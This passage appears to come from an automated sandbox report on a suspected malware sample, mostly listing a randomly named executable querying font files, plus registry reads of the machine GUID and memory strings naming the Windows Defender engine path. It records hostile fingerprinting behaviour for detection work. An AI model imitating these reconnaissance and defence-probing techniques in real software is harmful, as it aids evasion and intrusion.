                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\comic.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\comici.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\constan.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\constani.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\cour.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\couri.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\framd.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\impact.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\pala.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\palai.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\palab.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\OFFSYM.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\OFFSYMSL.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\OFFSYMSB.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformationJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeQueries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformationJump to behavior
                          Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0069D06A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,GetSystemTimeAsFileTime,0_2_0069D06A
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: eC:/Users/All Users\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000003831000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
                          Source: buTEJZlOSIruGihHI.exe, 0000000B.00000002.4163028473.0000000002E31000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:/Users/All Users\Application Data\Application Data\Application Data\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe
